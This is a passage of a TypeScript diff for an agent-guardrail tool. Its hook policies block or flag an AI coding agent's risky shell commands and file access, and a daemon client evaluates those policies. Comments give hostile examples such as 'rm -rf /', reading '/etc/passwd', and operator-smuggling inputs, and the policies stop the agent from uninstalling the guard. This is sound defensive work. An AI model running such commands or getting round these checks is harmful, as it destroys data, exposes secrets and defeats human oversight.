* Splits on shell operators first so that `/tmp` appearing in an unrelated + * sub-command (e.g. `echo /tmp && rm -rf /`) does not trigger a false allow. + * Uses path-boundary comparison so `/tmp` does not cover `/tmp2`. + * Non-recursive rm segments (no -r/-R flag) are skipped — they pose no catastrophic risk. + * Quoted paths with spaces are handled via a segment-level regex fallback. + * Home-relative targets and allowPaths entries are expanded, so `~/scratch` is + * covered by an allowPaths entry of either `~/scratch` or the absolute home path. + */ +function deletionTargetIsAllowed(cmd: string, allowPaths: string[], home: string): boolean { + if (allowPaths.length === 0) return false; + const normalizedAllowPaths = allowPaths.map((p) => stripTrailingGlob(expandHomePrefix(p, home)) || "/"); + let sawRecursiveDelete = false; + for (const seg of shellSegments(cmd)) { + const targets = recursiveDeletionTargets(seg); + if (targets === null) continue; + sawRecursiveDelete = true; + for (const target of targets) { + const normalized = stripTrailingGlob(expandHomePrefix(target, home)) || "/"; + const covered = normalizedAllowPaths.some((np) => normalized === np || normalized.startsWith(np + "/")); + if (!covered) { + // Fallback: check the raw segment for quoted paths that contain spaces + // (parseArgvTokens splits on whitespace, so "/tmp/my dir" becomes two tokens) + const segCovered = allowPaths.some((p) => { + const escaped = p.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + return new RegExp(`${escaped}(?:[/"'\\s/*]|$)`).test(seg); + }); + if (!segCovered) return false; + } + } + } + return sawRecursiveDelete; +} + +export function blockRmRf(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + + const hasCatastrophicTarget = shellSegments(cmd).some((seg) => { + const targets = recursiveDeletionTargets(seg); + return targets !== null && targets.some(isCatastrophicTarget); + }); + if (hasCatastrophicTarget) { + const allowPaths = ((ctx.params?.allowPaths ?? []) as string[]); + if (deletionTargetIsAllowed(cmd, allowPaths, resolveHome(ctx))) return allow(); + return deny("Catastrophic deletion blocked"); + } + + // PowerShell: Remove-Item -Recurse -Force on root/drive + if (/Remove-Item\s+.*-Recurse.*-Force.*(?:[A-Z]:\\(?:\s|$)|\\\*)/i.test(cmd)) { + return deny("Catastrophic deletion blocked"); + } + // cmd: rd /s /q or rmdir /s /q on drive root + if (/(?:rd|rmdir)\s+\/s\s+\/q\s+[A-Z]:\\/i.test(cmd)) { + return deny("Catastrophic deletion blocked"); + } + return allow(); +} + +export function blockForcePush(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + for (const segment of extractGitPushArgs(getCommand(ctx))) { + let sawEndOfOptions = false; + for (const token of segment.split(/\s+/)) { + if (token === "--") { + sawEndOfOptions = true; + continue; + } + if (sawEndOfOptions) continue; + if (isForcePushFlag(token)) { + return deny("Force-pushing is blocked"); + } + } + } + return allow(); +} + +function isForcePushFlag(token: string): boolean { + if (token === "--force") return true; + if (SAFE_FORCE_PREFIXES.some((prefix) => token.startsWith(prefix))) return false; + if (token.startsWith("--force")) return true; + return SHORT_FLAG_BUNDLE_RE.test(token); +} + +export function blockSecretsWrite(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Write") return allow(); + const filePath = getFilePath(ctx); + if (SECRET_FILE_RE.test(filePath) || SECRET_FILE_ID_RSA_RE.test(filePath) || SECRET_FILE_CREDENTIALS_RE.test(filePath)) { + return deny("Writing secret key files is blocked"); + } + const additionalPatterns = ((ctx.params?.additionalPatterns ?? []) as string[]); + for (const pattern of additionalPatterns) { + if (filePath.includes(pattern)) { + return deny(`Writing blocked file pattern: ${pattern}`); + } + } + return allow(); +} + +/** Read-like commands that access file system contents. */ +const READ_LIKE_CMDS = + /(?:^|;|&&|\|\||\|)\s*(?:ls|find|cat|head|tail|less|more|wc|file|stat|tree|du)\s/; + +/** + * Extract absolute paths from a Bash command string. + * Scans quoted strings only in the first pipeline segment (before the first + * bare pipe) and only when the quoted content has no glob or regex metacharacters. + * This catches `cat "/etc/passwd"` while avoiding false positives from grep + * patterns and find glob patterns that appear in later pipeline stages. + * Unquoted absolute paths are extracted from the whole command as before. + * + * The negative lookbehind also excludes glob metacharacters ('*', '?') and + * separator characters that appear in compound argv tokens (':' for Docker + * volume mounts and PATH-like lists, '=' for env var assignments) so that a + * suffix like '/dashboard.mdx' in 'docs/STAR/dashboard.mdx' or '/docs' in + * '-v HOST_DIR:/docs' is not misread as a standalone absolute path. + * + * `home` is threaded in rather than read from `os.homedir()` (Stage 0 / P2). + */ +function extractAbsolutePaths(command: string, home: string): string[] { + const paths: string[] = []; + const pathRe = /(? " ".repeat(m.length)) + .replace(/'[^']*'/g, (m) => " ".repeat(m.length)); + addPaths(stripped); + + return paths; +} + +export function blockReadOutsideCwd(ctx: PolicyContext): PolicyResult { + // Prefer $CLAUDE_PROJECT_DIR (stable project root) over ctx.session.cwd, + // which tracks the live shell CWD and drifts when Claude `cd`s into a subdir. + // Both now arrive as request data, with a host fallback for the legacy + // in-process path (Stage 0 / P2) — see ./host-context. + const cwd = resolveProjectDir(ctx) || ctx.session?.cwd; + if (!cwd) return allow(); // Can't enforce without cwd + + const home = resolveHome(ctx); + const allowPaths = ((ctx.params?.allowPaths ?? []) as string[]); + + // For Bash tool: check read-like commands for absolute paths outside cwd + if (ctx.toolName === "Bash") { + const cmd = getCommand(ctx); + if (!READ_LIKE_CMDS.test(cmd)) return allow(); + + const paths = extractAbsolutePaths(cmd, home); + const cwdWithSep = cwd.endsWith("/") ? cwd : cwd + "/"; + for (const p of paths) { + const resolved = resolve(cwd, p); + if (isClaudeSettingsFile(resolved)) { + return deny(`Reading agent settings file blocked: ${resolved}`); + } + if (isClaudeInternalPath(resolved, home)) continue; // Whitelist ~/.claude/ + if (resolved === "/dev/null") continue; // Harmless special file + if (resolved !== cwd && !resolved.startsWith(cwdWithSep)) { + if (allowPaths.some((ap) => resolved === ap || resolved.startsWith(ap.endsWith("/") ? ap : ap + "/"))) continue; + return deny(`Bash read outside project directory blocked: ${resolved}`); + } + } + return allow(); + } + + // For Read/Glob/Grep: existing file_path / path check + const filePath = getFilePath(ctx); + const searchPath = (ctx.toolInput?.path as string) ?? ""; + + const target = filePath || searchPath; + if (!target) return allow(); + + const resolved = resolve(cwd, target); + + // Block settings files in any .claude directory before whitelisting + if (isClaudeSettingsFile(resolved)) { + return deny(`Reading agent settings file blocked: ${resolved}`); + } + + // Whitelist ~/.claude/ — Claude Code's own config, plans, memory, and settings + if (isClaudeInternalPath(resolved, home)) return allow(); + + // Whitelist /dev/null — harmless special file commonly used in shell commands + if (resolved === "/dev/null") return allow(); + + const cwdWithSep = cwd.endsWith("/") ? cwd : cwd + "/"; + if (resolved !== cwd && !resolved.startsWith(cwdWithSep)) { + if (allowPaths.some((ap) => resolved === ap || resolved.startsWith(ap.endsWith("/") ? ap : ap + "/"))) return allow(); + return deny(`Access outside project directory blocked: ${resolved}`); + } + return allow(); +} + +export function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + + // Block direct failproofai CLI invocations + if (FAILPROOFAI_CLI_RE.test(cmd)) { + return deny("Running failproofai CLI commands is blocked"); + } + + // Block package-manager uninstallation of failproofai + if (FAILPROOFAI_UNINSTALL_RE.test(cmd)) { + return deny("Uninstalling failproofai is blocked"); + } + + return allow(); +} + +// Shared CLI-blocker: deny any command whose argv begins with the matched CLI, +// unless an entry in `allowPatterns` matches via `matchesAllowedPattern` (which +// already defends against shell-operator injection). +function blockInfraCli(ctx: PolicyContext, re: RegExp, denyMsg: string): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (!re.test(cmd)) return allow(); + const allowPatterns = ((ctx.params?.allowPatterns ?? []) as string[]); + if (allowPatterns.some((p) => matchesAllowedPattern(cmd, p))) return allow(); + return deny(denyMsg); +} + +export function blockKubectl(ctx: PolicyContext): PolicyResult { + return blockInfraCli(ctx, KUBECTL_RE, "kubectl commands are blocked"); +} + +export function blockTerraform(ctx: PolicyContext): PolicyResult { + return blockInfraCli(ctx, TERRAFORM_RE, "terraform/tofu commands are blocked"); +} + +export function blockAwsCli(ctx: PolicyContext): PolicyResult { + return blockInfraCli(ctx, AWS_CLI_RE, "aws CLI commands are blocked"); +} + +export function blockGcloud(ctx: PolicyContext): PolicyResult { + return blockInfraCli(ctx, GCLOUD_RE, "gcloud commands are blocked"); +} + +export function blockAzCli(ctx: PolicyContext): PolicyResult { + return blockInfraCli(ctx, AZ_CLI_RE, "az (Azure) CLI commands are blocked"); +} + +export function blockHelm(ctx: PolicyContext): PolicyResult { + return blockInfraCli(ctx, HELM_RE, "helm commands are blocked"); +} + +// gh-pipeline only fires on mutating subcommands; allowPatterns are still +// supported in case a user wants to permit a specific scripted invocation. +export function blockGhPipeline(ctx: PolicyContext): PolicyResult { + return blockInfraCli(ctx, GH_PIPELINE_RE, "gh pipeline-trigger commands are blocked"); +} + +export function warnGitAmend(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (GIT_AMEND_RE.test(cmd)) { + return instruct( + "STOP: This command amends the last commit, which rewrites git history. If this commit has already been pushed to a shared branch, this will cause divergence for other contributors. Confirm with the user before executing.", + ); + } + return allow(); +} + +export function warnGitStashDrop(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (GIT_STASH_DROP_RE.test(cmd)) { + return instruct( + "STOP: This command permanently deletes stashed changes (git stash drop/clear). Stash entries cannot be recovered after deletion. Confirm with the user before executing.", + ); + } + return allow(); +} + +export function warnAllFilesStaged(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (GIT_ADD_ALL_RE.test(cmd)) { + return instruct( + "STOP: This command stages all files in the working tree (git add -A / --all / .). This may inadvertently include build artifacts, generated files, or sensitive files not covered by .gitignore. Confirm with the user before executing.", + ); + } + return allow(); +} + +export function warnSchemaAlteration(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (!SQL_TOOL_RE.test(cmd)) return allow(); + if (SCHEMA_ALTER_RE.test(cmd)) { + return instruct( + "STOP: This command contains a schema-altering SQL statement (ALTER TABLE with column or rename operation). Schema changes on production databases are irreversible or disruptive. Confirm with the user before executing.", + ); + } + return allow(); +} + +export function warnGlobalPackageInstall(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + const isGlobal = + NPM_GLOBAL_RE.test(cmd) || + YARN_GLOBAL_RE.test(cmd) || + PNPM_GLOBAL_RE.test(cmd) || + BUN_GLOBAL_RE.test(cmd) || + CARGO_INSTALL_RE.test(cmd) || + // Bare 'pip install' respects the active venv when one is present; + // only flag explicit system-level flags (--user, --break-system-packages). + PIP_SYSTEM_RE.test(cmd); + if (isGlobal) { + return instruct( + "STOP: This command installs a package globally, which modifies the system-wide environment outside the project. This can conflict with other projects or system tools. Confirm with the user before executing.", + ); + } + return allow(); +} + +// Split a compound shell command into independent segments. +const SEGMENT_SPLIT_RE = /\s*(?:&&|\|\||\||;)\s*/; + +export function preferPackageManager(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + if (!cmd) return allow(); + + const allowed = (ctx.params?.allowed ?? []) as string[]; + if (allowed.length === 0) return allow(); + + const allowedSet = new Set(allowed.map((a) => a.toLowerCase())); + const blocked = (ctx.params?.blocked ?? []) as string[]; + const allowedList = allowed.join(", "); + + // Evaluate each shell segment independently so that + // "uv --version && pip install flask" correctly denies the pip segment. + const segments = cmd.split(SEGMENT_SPLIT_RE); + + for (const segment of segments) { + const trimmed = segment.trim(); + if (!trimmed) continue; + + // Check if this segment uses an allowed manager — if so, skip it. + let segmentAllowed = false; + for (const manager of allowedSet) { + const patterns = PKG_MANAGER_DETECTORS[manager]; + if (!patterns) continue; + for (const pattern of patterns) { + if (pattern.test(trimmed)) { segmentAllowed = true; break; } + } + if (segmentAllowed) break; + } + if (segmentAllowed) continue; + + // Check if this segment uses a non-allowed builtin manager. + for (const [manager, patterns] of Object.entries(PKG_MANAGER_DETECTORS)) { + if (allowedSet.has(manager)) continue; + for (const pattern of patterns) { + if (pattern.test(trimmed)) { + return deny( + `"${manager}" is not an allowed package manager. ` + + `Allowed package managers for this project: ${allowedList}. ` + + `Rewrite this command using an allowed package manager.`, + ); + } + } + } + + // Check user-specified blocked managers. + for (const name of blocked) { + const lower = name.toLowerCase(); + if (allowedSet.has(lower)) continue; + const re = new RegExp(`\\b${lower.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")}\\b`); + if (re.test(trimmed)) { + return deny( + `"${lower}" is not an allowed package manager. ` + + `Allowed package managers for this project: ${allowedList}. ` + + `Rewrite this command using an allowed package manager.`, + ); + } + } + } + + return allow(); +} + +export function warnBackgroundProcess(ctx: PolicyContext): PolicyResult { + if (ctx.toolName !== "Bash") return allow(); + const cmd = getCommand(ctx); + const isBackground = + NOHUP_RE.test(cmd) || + SCREEN_DETACH_RE.test(cmd) || + TMUX_DETACH_RE.test(cmd) || + DISOWN_RE.test(cmd) || + BACKGROUND_AMPERSAND_RE.test(cmd); + if (isBackground) { + return instruct( + "STOP: This command starts a background or detached process (nohup, screen -d, tmux -d, or trailing &). Background processes persist after Claude's session and may be difficult to track or stop. Confirm with the user before executing.", + ); + } + return allow(); +} + +/** + * The sealed-eligible tier, as data. + * + * `builtin-policies.ts` holds the authoritative registry — name, description, + * category, defaults, params — and references these same function objects. This + * list exists so tier membership is machine-checkable rather than a comment, + * and so the sealed worker can enumerate what it is allowed to run without + * importing the registry (which is not import-pure). + */ +export const PAYLOAD_ONLY_POLICIES: ReadonlyArray<{ name: string; fn: (ctx: PolicyContext) => PolicyResult }> = [ + { name: "sanitize-jwt", fn: sanitizeJwt }, + { name: "sanitize-api-keys", fn: sanitizeApiKeys }, + { name: "sanitize-connection-strings", fn: sanitizeConnectionStrings }, + { name: "sanitize-private-key-content", fn: sanitizePrivateKeyContent }, + { name: "sanitize-bearer-tokens", fn: sanitizeBearerTokens }, + { name: "protect-env-vars", fn: protectEnvVars }, + { name: "block-env-files", fn: blockEnvFiles }, + { name: "block-read-outside-cwd", fn: blockReadOutsideCwd }, + { name: "block-sudo", fn: blockSudo }, + { name: "block-curl-pipe-sh", fn: blockCurlPipeSh }, + { name: "block-rm-rf", fn: blockRmRf }, + { name: "block-failproofai-commands", fn: blockFailproofaiCommands }, + { name: "block-kubectl", fn: blockKubectl }, + { name: "block-terraform", fn: blockTerraform }, + { name: "block-aws-cli", fn: blockAwsCli }, + { name: "block-gcloud", fn: blockGcloud }, + { name: "block-az-cli", fn: blockAzCli }, + { name: "block-helm", fn: blockHelm }, + { name: "block-gh-pipeline", fn: blockGhPipeline }, + { name: "block-secrets-write", fn: blockSecretsWrite }, + { name: "block-push-master", fn: blockPushMaster }, + { name: "block-force-push", fn: blockForcePush }, + { name: "warn-git-amend", fn: warnGitAmend }, + { name: "warn-git-stash-drop", fn: warnGitStashDrop }, + { name: "warn-all-files-staged", fn: warnAllFilesStaged }, + { name: "warn-destructive-sql", fn: warnDestructiveSql }, + { name: "warn-schema-alteration", fn: warnSchemaAlteration }, + { name: "warn-package-publish", fn: warnPackagePublish }, + { name: "warn-global-package-install", fn: warnGlobalPackageInstall }, + { name: "prefer-package-manager", fn: preferPackageManager }, + { name: "warn-large-file-write", fn: warnLargeFileWrite }, + { name: "warn-background-process", fn: warnBackgroundProcess }, +]; diff --git a/src/hooks/builtin/shared.ts b/src/hooks/builtin/shared.ts new file mode 100644 index 00000000..3fa8a038 --- /dev/null +++ b/src/hooks/builtin/shared.ts @@ -0,0 +1,61 @@ +/** + * Helpers shared by both builtin capability tiers. + * + * Everything here is pure: payload arithmetic and string matching, no host + * access of any kind. That is a requirement, not an observation — this module + * sits in `payload-only.ts`'s import graph, so a single `node:fs` import here + * would demote all 32 sealed-eligible policies to `user-context`. + * `__tests__/hooks/builtin-tier-split.test.ts` asserts it. + */ +import type { PolicyContext } from "../policy-types"; + +export function getCommand(ctx: PolicyContext): string { + return (ctx.toolInput?.command as string) ?? ""; +} + +export function getFilePath(ctx: PolicyContext): string { + return (ctx.toolInput?.file_path as string) ?? ""; +} + +/** + * Parse a command string into argv tokens for safe pattern matching. + * Splits on whitespace and strips simple single/double quotes. + * Does not handle all shell syntax — sufficient for prefix-match allowlists. + */ +export function parseArgvTokens(cmd: string): string[] { + return cmd.trim().split(/\s+/).map((t) => t.replace(/^['"]|['"]$/g, "")); +} + +// Shell operators that always act as command separators when whitespace-delimited. +export const SHELL_OPERATORS = new Set(["&&", "||", "|", ";"]); + +// Shell metacharacters that are unsafe when embedded inside a token. Any command +// whose argv contains one of these in a token is rejected before allowlist matching. +// This closes the bypass where operators are glued to a word (e.g. "nginx;evil" or +// "nginx&&evil") and would otherwise be invisible to the standalone-operator check. +// Note: | is intentionally excluded here because "foo|bar" is a valid grep/sed +// argument value; the standalone-operator check above already handles bare "|" tokens. +export const SHELL_METACHAR_RE = /[;&<>`$()\\]/; + +/** + * Check if a command matches an allow pattern using token-by-token comparison. + * The "*" token is a wildcard. Extra command tokens beyond the pattern are allowed, + * UNLESS any token is a standalone shell operator (&&, ||, |, ;) OR contains an + * embedded shell metacharacter — both cases are rejected to prevent bypass via + * appended sub-commands or glued operators (e.g. "nginx;" or "nginx;evil"). + */ +export function matchesAllowedPattern(cmd: string, pattern: string): boolean { + const cmdTokens = parseArgvTokens(cmd); + const patTokens = parseArgvTokens(pattern); + if (cmdTokens.length < patTokens.length) return false; + // Reject commands containing standalone shell-operator tokens + if (cmdTokens.some((tok) => SHELL_OPERATORS.has(tok))) return false; + // Reject any token containing embedded shell metacharacters + if (cmdTokens.some((tok) => SHELL_METACHAR_RE.test(tok))) return false; + return patTokens.every((tok, i) => tok === "*" || tok === cmdTokens[i]); +} + +/** Split a command into the segments the shell would run as separate commands. */ +export function shellSegments(cmd: string): string[] { + return cmd.split(/&&|\|\||[|;\n]/).map((s) => s.trim()).filter((s) => s !== ""); +} diff --git a/src/hooks/builtin/warn.ts b/src/hooks/builtin/warn.ts new file mode 100644 index 00000000..18b31ad6 --- /dev/null +++ b/src/hooks/builtin/warn.ts @@ -0,0 +1,38 @@ +/** + * A warning sink for sealed-tier policies. + * + * `hook-logger.ts` imports `node:fs` and `node:os` — it appends to a rotating + * file under `~/.failproofai/logs/`. One `import { hookLogWarn }` inside + * `payload-only.ts` would therefore put `node:fs` in that module's resolved + * import graph, and tier derivation would demote all 32 sealed-eligible + * policies to `user-context`. The sealed tier would be empty and nothing would + * say so. + * + * So the sealed half depends on this module instead, which imports nothing. + * The host-side aggregator (`builtin-policies.ts`) installs the real logger at + * load; the sealed worker either installs its own sink or leaves the default, + * which discards. Discarding is correct there: the sealed context has no + * filesystem to write a log to, and a policy warning is diagnostic, never part + * of a verdict. + */ + +export type PolicyWarnSink = (message: string) => void; + +const noop: PolicyWarnSink = () => {}; + +let sink: PolicyWarnSink = noop; + +/** Install the process-wide sink. Called by `builtin-policies.ts` at load. */ +export function setPolicyWarnSink(fn: PolicyWarnSink): void { + sink = fn; +} + +/** Restore the discarding default. Exposed for test isolation. */ +export function resetPolicyWarnSink(): void { + sink = noop; +} + +/** Emit a diagnostic warning from inside a policy. Never affects a verdict. */ +export function policyWarn(message: string): void { + sink(message); +} diff --git a/src/hooks/daemon-client.ts b/src/hooks/daemon-client.ts new file mode 100644 index 00000000..798a42b3 --- /dev/null +++ b/src/hooks/daemon-client.ts @@ -0,0 +1,526 @@ +/** + * The Stage 1 hook-side client for `failproofaid`. + * + * Wire contract: `crates/PROTOCOL.md`. That file is the single source of truth + * shared by this module, `fpai-ipc` (Rust), and the daemon; anything this file + * infers rather than reads from there is a silent interop bug waiting to + * happen, so every shape below is transcribed, not invented. + * + * ## The governing rule + * + * {@link tryDaemonEvaluate} returns `null` on **any** failure and never throws. + * Socket missing, connect refused, handshake mismatch, timeout, framing error, + * malformed JSON, an `error` result, a non-empty `needs_user_context` — all + * `null`. The caller's fallback is not a second implementation of anything: it + * is "keep executing the same function `handleHookEvent` executes today". A + * client that throws breaks every hook on the machine; a client that guesses + * returns a wrong verdict, which is worse. + * + * ## Dead by default + * + * `FAILPROOFAI_DAEMON_MODE` is read first, at the very top, before a socket is + * opened and before any other environment variable is read. Unset or `off` and + * this module does nothing observable — no `stat`, no `connect`, no allocation. + * A field rollback is one environment variable rather than a release. + */ +import net from "node:net"; +import { readFileSync, statSync } from "node:fs"; +import { homedir } from "node:os"; +import { join } from "node:path"; +import { randomUUID } from "node:crypto"; +import { version } from "../../package.json"; +import { ENV_FACT_KEYS, type EvaluationRequest } from "./request-envelope"; +import type { EvaluationResult } from "./policy-evaluator"; + +/** `protocol_version` carried in the handshake. Bumped with the wire shape. */ +const PROTOCOL_VERSION = 1; + +/** `client` field of the hello frame — identifies this implementation. */ +const CLIENT_NAME = "failproofai-hook"; + +/** + * Maximum body of a single frame, both directions: 1 MiB. + * + * Same number as `handleHookEvent`'s stdin cap on purpose — a payload the + * legacy path would have discarded must not become a daemon-path OOM instead. + * A declared length above this is a framing error and we stop reading; we never + * allocate the declared size to find out. + */ +const MAX_FRAME_BYTES = 1_048_576; + +/** + * Resolve the socket path from explicit inputs — the mirror of `socket_path()` + * in `crates/failproofaid/src/paths.rs`. + * + * Preference order: + * + * 1. `explicit` — `$FAILPROOFAI_DAEMON_SOCKET`. + * 2. `runtimeDir` — `$XDG_RUNTIME_DIR/failproofai/`, preferred because a + * runtime directory is cleared between boots. + * 3. `home` — `~/.failproofai/run/`, the fallback, and the *common* case rather + * than the exotic one: `XDG_RUNTIME_DIR` is unset over a plain `ssh` session + * on several distributions and on macOS generally, which is exactly where an + * agent CLI runs. + * + * Empty strings count as unset at every level, matching the Rust. + * + * **Pure, and taking its environment as arguments, for the same reason the Rust + * does.** The whole risk this function carries is that it drifts from the + * daemon's copy, and a drift does not fail loudly: the client finds no socket, + * returns `null`, and every hook silently takes the legacy path forever. A pure + * resolver is one a test can drive through every case without mutating process + * state — see `__tests__/hooks/daemon-paths.test.ts`, which asserts this and + * `paths.rs` agree case for case. + */ +export function socketPath( + explicit: string | undefined, + runtimeDir: string | undefined, + home: string | undefined, +): string | null { + if (explicit) return explicit; + if (runtimeDir) return join(runtimeDir, "failproofai", "failproofaid.sock"); + if (home) return join(home, ".failproofai", "run", "failproofaid.sock"); + return null; +} + +/** + * The invoking user's home directory. + * + * `$HOME` is named explicitly rather than left to `homedir()` alone so that the + * input the Rust reads is the input this reads. `homedir()` remains as the + * fallback for a process started without an environment, where it consults the + * passwd database; the daemon refuses to start at all in that case, so the two + * cannot disagree about a socket that exists. + */ +function resolveHome(): string { + return process.env.HOME || homedir(); +} + +/** + * {@link socketPath} with the process environment supplied — the mirror of + * `default_socket_path()`. + */ +export function defaultSocketPath(): string | null { + return socketPath( + process.env.FAILPROOFAI_DAEMON_SOCKET, + process.env.XDG_RUNTIME_DIR, + resolveHome(), + ); +} + +/** + * The end-to-end budget handed to the daemon, in milliseconds. + * + * Also the wall-clock cost of a hung daemon: the socket is destroyed and the + * legacy path runs when it expires, so a hook event costs at most this much + * extra before behaving exactly as it does today. PROTOCOL.md's `EvaluateHook` + * example uses the same number; no design doc mandates one, and Stage 4 is + * where the end-to-end latency target is actually gated. + */ +export const DEFAULT_DAEMON_DEADLINE_MS = 800; + +/** + * Resolve the installation manifest from explicit inputs — the mirror of + * `install_manifest_path()` in `crates/failproofaid/src/paths.rs`. + * + * `~/.failproofai/install.json` in user scope: it records what a particular + * `setup` run did on this machine, so it sits with the rest of that user's + * state. `explicit` (`$FAILPROOFAI_INSTALL_JSON`) wins so tests can point at + * their own copy. + */ +export function installManifestPath( + explicit: string | undefined, + home: string | undefined, +): string | null { + if (explicit) return explicit; + if (home) return join(home, ".failproofai", "install.json"); + return null; +} + +/** + * {@link installManifestPath} with the process environment supplied — the + * mirror of `default_install_manifest_path()`. + */ +export function installJsonPath(): string | null { + return installManifestPath(process.env.FAILPROOFAI_INSTALL_JSON, resolveHome()); +} + +/** + * The UID `setup` recorded the daemon as running as, or `null` when the + * manifest is missing, unreadable, or does not carry one. + * + * In user scope that is the invoking user's own UID; the field keeps its + * `service_uid` name because it names the UID the *service* runs as, which is + * all it ever meant on the wire. + * + * `null` is never "proceed unverified" — the caller falls back to legacy. That + * is also what makes an absent `install.json` the default-off state: with no + * manifest there is nothing to check the socket against, so nothing connects. + */ +function readServiceUid(): number | null { + try { + const manifest = installJsonPath(); + if (manifest === null) return null; + const raw = readFileSync(manifest, "utf8"); + const parsed = JSON.parse(raw) as { service_uid?: unknown }; + const uid = parsed.service_uid; + return typeof uid === "number" && Number.isInteger(uid) && uid >= 0 ? uid : null; + } catch { + return null; + } +} + +/** + * Verify the peer before speaking to it. + * + * **This is weaker than `SO_PEERCRED`, and in user scope it is weaker still.** + * Node exposes no way to read the peer credentials of a connected Unix socket, + * so we compare the *socket file's* owner against the `service_uid` in + * `install.json` rather than asking the kernel who is on the other end. + * + * What that catches: a stray or stale socket — a daemon from a different + * install, a leftover path, another user's socket reached through a + * misconfigured `$FAILPROOFAI_DAEMON_SOCKET` on a shared machine. + * + * What it does not: the owning user. v1.0.0 runs in user scope, so the daemon, + * this client, and the agent being governed are all the same UID — that user + * can write both the socket and `install.json`, so this check cannot be a + * boundary against them and is not claimed as one. Nor does it close the TOCTOU + * gap between this `stat` and the `connect` below. The daemon's own + * `SO_PEERCRED`/`getpeereid` check is the stronger half and is what keeps + * *other* users out. + */ +function socketOwnerMatchesService(socketPath: string, serviceUid: number): boolean { + try { + return statSync(socketPath).uid === serviceUid; + } catch { + return false; + } +} + +// ── Wire shapes ──────────────────────────────────────────────────────────── + +/** + * Project the envelope onto the `evaluate_hook` op body. + * + * `host.home` is **always `null`**, and that is load-bearing rather than a + * defaulted field: the daemon derives home from `getpwuid_r(peer_uid)`, and a + * client-asserted home is a `client_asserted_home` protocol error. It is not + * pedantry — `isAgentInternalPath` and `block-read-outside-cwd` both *widen* + * the allow set, so a client asserting `home: "/"` would make every path on the + * machine "agent internal" and relax a sealed verdict. + * + * `env_facts` is emitted as exactly {@link ENV_FACT_KEYS}, with `null` for + * absent values. The daemon rejects unknown keys, and the hook client's + * environment originates inside the agent's process — under the agent's own + * control — so it must never become an injection channel. + * + * Absent optional values are explicit `null` rather than omitted keys: `null` + * deserializes into a Rust `Option` unconditionally, whereas a missing key + * needs `#[serde(default)]` on the far side. PROTOCOL.md does not say which, + * and this is the choice that cannot silently fail. + */ +function toEvaluateHookOp( + request: EvaluationRequest, + deadlineMs: number, + enabledPolicies: readonly string[], +): Record { + const envFacts: Record = {}; + for (const key of ENV_FACT_KEYS) { + envFacts[key] = request.host.envFacts.value[key] ?? null; + } + return { + cli: request.cli, + event_type: request.eventType, + raw_event_type: request.rawEventType, + payload: request.payload, + session: { + session_id: request.session.sessionId ?? null, + transcript_path: request.session.transcriptPath ?? null, + permission_mode: request.session.permissionMode ?? null, + hook_event_name: request.session.hookEventName ?? null, + }, + host: { + home: null, + cwd: request.host.cwd.value ?? null, + project_dir: request.host.projectDir.value ?? null, + env_facts: envFacts, + }, + deadline_ms: deadlineMs, + // The caller's resolved enabled set. The daemon evaluates THIS, not a set + // of its own: when it supplied its own default list, a user with 30 + // policies enabled got the 11 builtin defaults and 19 builtins silently + // stopped enforcing. It also made the `needs_user_context` fallback below + // unreachable, since the worker partitions the list it was handed and a + // daemon-supplied list is all-sealed by construction. + enabled_policies: [...enabledPolicies], + // Stage 1 `enforce` only. `shadow: true` is Stage 2, where the caller + // discards the answer and the daemon must not run anything with side + // effects (running both paths would double `warn-repeated-tool-calls`' + // counter and fire the `require-*-before-stop` subprocesses twice). + shadow: false, + }; +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value); +} + +/** A `hello_ack` — anything else (including `version_mismatch`) is a fallback. */ +function isHelloAck(frame: unknown): boolean { + if (!isRecord(frame) || !isRecord(frame.hello_ack)) return false; + return frame.hello_ack.protocol_version === PROTOCOL_VERSION; +} + +/** + * Decode a response frame into an {@link EvaluationResult}, or `null`. + * + * `exit_code` / `stdout` / `stderr` / `decision` / `policy_name` / + * `policy_names` / `reason` are byte-for-byte the fields `EvaluationResult` + * already has, and the handler writes them out unchanged — that is what makes + * byte-exact parity against the TypeScript oracle a meaningful assertion rather + * than a shape check. So every field is type-checked here: a wrong type is a + * malformed frame, never a coerced value. + */ +function decodeEvaluated(frame: unknown, expectedRequestId: string): EvaluationResult | null { + if (!isRecord(frame)) return null; + // Stage 1 is strictly request/response over one connection with no + // pipelining, so a mismatched request_id is a protocol error, not a frame to + // skip past. + if (frame.request_id !== expectedRequestId) return null; + if (!isRecord(frame.result)) return null; + + const evaluated = frame.result.evaluated; + // `{ error: { code, message } }` lands here too: every error is a client + // fallback to legacy, never a failed hook. + if (!isRecord(evaluated)) return null; + + // Stage 1 always returns this empty and the daemon evaluates sealed-only. A + // non-empty list means policies matched that nothing evaluated; falling back + // is mandatory, because otherwise upgrading would silently drop enforcement + // for a user's mutable policies — precisely the failure this product exists + // to prevent. The one-shot continuation path lands at Stage 4. + const needsUserContext = evaluated.needs_user_context; + if (!Array.isArray(needsUserContext) || needsUserContext.length > 0) return null; + + const { exit_code, stdout, stderr, decision, policy_name, policy_names, reason } = evaluated; + if (typeof exit_code !== "number" || !Number.isInteger(exit_code)) return null; + if (typeof stdout !== "string" || typeof stderr !== "string") return null; + if (decision !== "allow" && decision !== "deny" && decision !== "instruct") return null; + if (policy_name !== null && typeof policy_name !== "string") return null; + if (reason !== null && typeof reason !== "string") return null; + + const result: EvaluationResult = 